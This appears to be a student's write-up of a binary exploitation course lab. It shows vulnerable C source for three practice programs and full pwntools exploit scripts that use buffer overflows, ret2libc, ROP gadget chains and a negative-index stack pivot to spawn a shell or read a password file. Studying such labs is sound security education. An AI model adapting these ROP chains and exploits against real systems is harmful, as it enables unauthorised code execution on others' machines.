This lab focused on using ROP to bypass DEP on 3 different executables. The first two were simply to learn the techniques (a gets buffer overflow), and the last was tying the concepts together along with stack pivots to execute a ROP chain and pop a shell. Again all the programs were executed on my local machine.
NOTES:
Data Execution Prevention
- An exploit mitigation technique used to ensure that only code segments are ever marked as executable
- Meant to mitigate code injection / shellcode payloads
- Also known as DEP, NX, XN, XD,W^X
- No segment of memory should ever be Writable and Executable at the same time, ‘W^X’
Common data segments: Stack, Heap, .bss, .ro, .data
Common code segments: .text, .plt
ROP (Return Oriented Programming):
A technique in exploitation to reuse existing code gadgets in a target binary as a method to bypass DEP
Gadget:
- A sequence of meaningful instructions typically followed by a return instruction
- ROP CHAIN: Usually multiple gadgets are chained together to compute malicious actions like shellcode does
ROP Techniques
Stack Pivot (Chaining calls)
Return to libC (RET2Libc)
PEDA
searchmem: find raw bytes in an executing program,
ropsearch:find rop gadgets (only kind of useful)
ropgadget
link
This tool was super useful to find gadgets to use in my ROP chain. It saved a ton of time versus trying to search memory for specific instructions.
LAB5C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
#include <stdlib.h>
#include <stdio.h>
/* gcc -fno-stack-protector -o lab5C lab5C.c */
char global_str[128];
/* reads a string, copies it to a global */
void copytoglobal()
{
char buffer[128] = {0};
gets(buffer);
memcpy(global_str, buffer, 128);
}
int main()
{
char buffer[128] = {0};
printf("I included libc for you...\n"\
"Can you ROP to system()?\n");
copytoglobal();
return EXIT_SUCCESS;
}
|
This challenege was to help familiarize myself with ret2libc, and was pretty easy. Below is a nice picture from the MBE slides on building the stack for a ret2libc exploit.
Objective:
Need address of system: 0xf7fd6000 + 0x3d200 = 0xf7e13200
1
2
3
4
5
6
7
8
|
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
254: 00129640 102 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
652: 0003d200 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1510: 0003d200 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
$ ldd lab5C
linux-gate.so.1 (0xf7fd4000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dd6000)
/lib/ld-linux.so.2 (0xf7fd6000)
|
Find offset for overflow:
Buffer:
[-------------------------------------code-------------------------------------]
0x804868d <copytoglobal+32>: rep stos DWORD PTR es:[edi],eax
0x804868f <copytoglobal+34>: lea eax,[ebp-0x98]
0x8048695 <copytoglobal+40>: mov DWORD PTR [esp],eax
=> 0x8048698 <copytoglobal+43>: call 0x8048530 <gets@plt>
0x804869d <copytoglobal+48>: mov edx,0x804a060
0x80486a2 <copytoglobal+53>: lea ebx,[ebp-0x98]
0x80486a8 <copytoglobal+59>: mov eax,0x20
0x80486ad <copytoglobal+64>: mov edi,edx
Guessed arguments:
arg[0]: 0xffffcf20 --> 0x0
[------------------------------------stack-------------------------------------]
0000| 0xffffcf10 --> 0xffffcf20 --> 0x0
Return:
[-------------------------------------code-------------------------------------]
0x80486bc <copytoglobal+79>: pop esi
0x80486bd <copytoglobal+80>: pop edi
0x80486be <copytoglobal+81>: pop ebp
=> 0x80486bf <copytoglobal+82>: ret
0x80486c0 <main>: push ebp
0x80486c1 <main+1>: mov ebp,esp
0x80486c3 <main+3>: push edi
0x80486c4 <main+4>: push ebx
[------------------------------------stack-------------------------------------]
0000| 0xffffcfbc --> 0x80486f3 (<main+51>: mov eax,0x0)
Offset: return - buffer = 0x9c = 156
The last step is to setup the string for the input to system(), and add it into an environment variable like I did in lab4.
The final script below, only catting the pass, although a shell could have been created as well.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
from pwn import *
import os
context(arch='i386', os='linux',endian='little', word_size=32)
#input
off = 156
sys_addr = p32(0xf7e13200) #address of system
ret_addr = p32(0xdeadbeef) #some return address
#setup string
env = "string"
os.environ[env] = "cat .pass"
#string addr
p = process(['./getenvaddr',env,'./lab4B'])
str_addr = p32(int(p.recvall().split()[-1], 16) - 5)#off by 5
p.close()
payload = 'A'*off + sys_addr+ret_addr+str_addr
#ret2libc!
p = process( './lab5C')
p.sendline(payload)
print p.recvall()
|
And the corresponding output:
lab5B
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
#include <stdlib.h>
#include <stdio.h>
/* gcc -fno-stack-protector --static -o lab5B lab5B.c */
int main()
{
char buffer[128] = {0};
printf("Insert ROP chain here:\n");
gets(buffer);
return EXIT_SUCCESS;
}
|
Unfortunately this lab does not conveniently include libc:
1
2
3
4
5
|
$ objdump -R lab5B
lab5B: file format elf32-i386
objdump: lab5B: not a dynamic object
objdump: lab5B: Invalid operation
|
This means I need to build a rop chain in the program!
First to find the overflow:
Offset: Ret(0xffffd05c) - Buffer(0xffffcfd0) = 0x8c = 140
Build ROP chain and find gadgets!
ropgadet finds the gadgets I need:
Output the ropgadget into a file and grep for what I need
1
2
3
4
5
6
7
8
9
10
|
#setup ebx with ptr to /bin/bash
0x080481c9 : pop ebx ; ret
#setup eax with 0
0x080bbf26 : pop eaxsc ; ret
#clear edx
0x0806ec5a : pop edx ; ret
#clear ecx
0x080e55ad : pop ecx ; ret
#syscall
0x08049401 : int 0x80
|
The final script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
from pwn import *
import os
context(arch='i386', os='linux',endian='little', word_size=32)
#setup string
env = "string"
os.environ[env] = "/bin/bash"
#string addr
p = process(['./getenvaddr',env,'./lab5B'])
str_addr = p32(int(p.recvall().split()[-1], 16) - 5)#off by 5
p.close()
#input
off = 140
#chain
#//https://www.exploit-db.com/shellcodes/40131
#setup ebx with ptr to /bin/bash
#0x080481c9 : pop ebx ; ret
chain = p32(0x080481c9)
chain += str_addr
#setup eax with 11
#0x080bbf26 : pop eax ; ret
chain += p32(0x080bbf26)
chain += p32(11)
#clear edx
#0x0806ec5a : pop edx ; ret
chain += p32(0x0806ec5a)
chain += p32(0)
#clear ecx
#0x080e55ad : pop ecx ; ret
chain += p32(0x080e55ad)
chain += p32(0)
#syscall
#0x08049401 : int 0x80
chain += p32(0x08049401)
payload = 'A'*off + chain
#gdb process script
script = "\
b *main+69 \n\
"
#ROP!
p = process( './lab5B')
#gdb.attach(p, script)
p.sendline(payload)
p.interactive()
|
The final output:
Lab5A
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
|
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "utils.h"
#define STORAGE_SIZE 100
/* gcc --static -o lab5A lab5A.c */
/* get a number from the user and store it */
int store_number(unsigned int * data)
{
unsigned int input = 0;
int index = 0;
/* get number to store */
printf(" Number: ");
input = get_unum();
/* get index to store at */
printf(" Index: ");
index = (int)get_unum();
/* make sure the slot is not reserved */
if(index % 3 == 0 || index > STORAGE_SIZE || (input >> 24) == 0xb7)
{
printf(" *** ERROR! ***\n");
printf(" This index is reserved for doom!\n");
printf(" *** ERROR! ***\n");
return 1;
}
/* save the number to data storage */
data[index] = input;
return 0;
}
/* returns the contents of a specified storage index */
int read_number(unsigned int * data)
{
int index = 0;
/* get index to read from */
printf(" Index: ");
index = (int)get_unum();
printf(" Number at data[%d] is %u\n", index, data[index]);
return 0;
}
int main(int argc, char * argv[], char * envp[])
{
int res = 0;
char cmd[20] = {0};
unsigned int data[STORAGE_SIZE] = {0};
/* doom doesn't like enviroment variables */
clear_argv(argv);
clear_envp(envp);
printf("----------------------------------------------------\n"\
" Welcome to doom's crappy number storage service! \n"\
" Version 2.0 - With more security! \n"\
"----------------------------------------------------\n"\
" Commands: \n"\
" store - store a number into the data storage \n"\
" read - read a number from the data storage \n"\
" quit - exit the program \n"\
"----------------------------------------------------\n"\
" doom has reserved some storage for himself :> \n"\
"----------------------------------------------------\n"\
"\n");
/* command handler loop */
while(1)
{
/* setup for this loop iteration */
printf("Input command: ");
res = 1;
/* read user input, trim newline */
fgets(cmd, sizeof(cmd), stdin);
cmd[strlen(cmd)-1] = '\0';
/* select specified user command */
if(!strncmp(cmd, "store", 5))
res = store_number(data);
else if(!strncmp(cmd, "read", 4))
res = read_number(data);
else if(!strncmp(cmd, "quit", 4))
break;
/* print the result of our command */
if(res)
printf(" Failed to do %s command\n", cmd);
else
printf(" Completed %s command successfully\n", cmd);
memset(cmd, 0, sizeof(cmd));
}
return EXIT_SUCCESS;
}
|
So this last challenge was designed to practice stack pivoting with ROP. This requires alot of creativity and thinking, since you can only use code already present in memory.
This challenge is also very similar to lab3A
Except this time, on line 22 the index is cast to an int, and line 25, the index is checked to make sure it is less than the storage size! The store command allows me to store only within the bounds of data. Of course argv and envp are cleared again so I can’t store my string in the environment this time.
However, if I store at a negative index, I can overwrite the return address from store_number, and gain control of the stack! I need to start from index -11.
Buffer - Return = 0xffffce98 - 0xffffce6c = 0x2c = 44
Index = 44/4 = -11 (oxb)
After that I only needed to find the right string of gadgets to chain together to execute my shellcode and pop a shell. The gadgets are included below and I found them using the ropgadget tool.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
|
from pwn import *
import os
context(arch='i386', os='linux',endian='little', word_size=32)
#chain
writes = [] #array of tuples
#(number, index)
#GOAL:
##setup ebx with ptr to /bin/bash
## 0x68732f2f
## 0x6e69622f
## 0
##clear ecx
##clear edx
##setup eax with 11
#setup /bin/bash string
writes.append((0x68732f2f,26))
writes.append((0x6e69622f,25))
addr = 0xffffcfcc #25
#start rop
#clear edx
#0x0806f3aa : pop edx ; ret
writes.append((0x0806f3aa,5))
#skip 6
#NOP
#0x08054c30 : xor eax, eax ; ret
writes.append((0x08054c30,7))
#clear ecx
#0x080e6255 : pop ecx ; ret
writes.append((0x080e6255,8))
#skip 9
#setup ebx
#0x08055451 : pop ebx ; pop esi ; ret
writes.append((0x08055451,10))
writes.append((addr,11))
#skip 12
#13 set 11 in edx
#0x080695a5 : pop edx ; xor eax, eax ; pop edi ; ret
writes.append((0x080695a5,13))
writes.append((11,14))
#skip 15
#eax = 11
#0x080aa04c : xchg eax, edx ; ret
writes.append((0x080aa04c,16))
#syscall
#0x08048eaa : int 0x80
writes.append((0x08048eaa,17))
#overflow to beginning of rop
#0x0804d62e : add esp, 0x2c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
writes.append((0x0804d62e, -11))
#overflow and jump to rop!
#context.log_level = 'debug'
p = process('./lab5A')
#gdb process
script = "\
b *store_number+181\n\
"
#attach gdb
#gdb.attach(p, script)
#setup shellcode
for w in writes:
p.sendline("store")
p.sendline(str(w[0])) #number
p.sendline(str(w[1])) #index
#should have shell!
p.interactive()
|
And a shell is popped and the password found!!